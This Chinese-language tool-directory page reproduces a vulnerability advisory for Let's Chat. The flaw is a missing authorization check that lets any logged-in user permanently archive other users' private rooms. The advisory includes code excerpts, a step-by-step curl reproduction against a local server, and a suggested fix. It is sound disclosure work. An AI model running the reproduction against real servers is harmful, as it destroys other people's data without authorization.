Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
身份验证与授权漏洞分析代码分析Web安全学习与教育
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

安全公告:访问控制不足导致未经授权的房间删除(Let's Chat)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
31个月前尚未审核

安全公告:访问控制不足导致未授权删除房间(Let's Chat)

分配的 CVE 编号: CVE-2026-66751

摘要

DELETE /rooms/:room 除了要求登录之外,不执行任何授权检查。任何账户都可以归档服务器上的任意房间,包括该账户无权读取、加入或修改的私有房间和密码保护房间。

归档就是 Let's Chat 删除房间的方式。房间会从房间列表中消失,直接查找返回 404,向其发布消息或上传文件也会被拒绝。应用程序中没有任何代码路径可以撤销此操作。

受影响版本

仓库 URL:https://github.com/sdelements/lets-chat

从 0.3.0(提交 5b5f46f,2015 年 1 月 2 日,"Rooms are archived, instead of deleted")到最终版本 0.4.8 均受影响。不存在已修复的版本。

私有房间和密码保护房间在 0.4.0 中引入,因此攻击者销毁其无法查看内容的房间这一情形自 0.4.0 起适用。缺失的检查本身则可追溯到 0.3.0。

已在提交 617207f 的 0.4.8 以及 docker.io/sdelements/lets-chat:latest(0.4.7)上确认。

分类

CWE-862:缺少授权(Missing Authorization)。

CVSS 4.0 基础评分 5.3(中危) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

威胁模型

攻击者需要一个普通用户账户以及对 HTTP 端口的网络访问权限。他们无需拥有该房间、属于该房间、知道其密码,也无需持有任何提升的角色。自助注册默认启用(defaults.yml 中的 auth.local.enableRegistration)。

选择目标无需任何成本。GET /rooms 会按设计向每个用户列出密码保护房间,因此攻击者可以读取完整的房间 ID 列表并逐一归档。

技术细节

该路由要求登录并解析房间,仅此而已。 app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

该处理器仅将房间 ID 向下游传递。它从不查看 req.user。 app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

管理器不接收用户参数,因此即便在原则上也无法检查所有权。 app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

相邻的 update 路径确实会检查所有权,正因如此,这看起来更像是疏忽而非有意为之。app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

客户端也认同更严格的解读。media/js/views/room.js:28-31 决定谁能看到编辑控件,而"归档房间"按钮位于该控件打开的编辑模态框内:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

对于密码保护房间,非所有者永远不会看到该按钮。该限制仅存在于浏览器中。

复现

需要 rooms.private: true(或 LCB_ROOMS_PRIVATE=true)才能创建私有房间。缺失的检查本身适用于所有房间,无论该设置如何。

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

影响

请求完成后,该房间对所有用户来说都会从 GET /rooms 中消失,GET /rooms/:id 返回 404,并且 messages:create 和 files:create 也会拒绝它(app/core/messages.js:28-30、app/core/files.js:55-57)。app/ 中没有任何代码将 archived 设回 false,因此恢复需要直接访问数据库。

修复建议

将调用者传入管理器,并在归档前检查所有权,与 update 已有的做法保持一致。在 app/controllers/rooms.js:217 中:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

并在 app/core/rooms.js:123 中,在 if (!room) 检查之后:

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
下载工具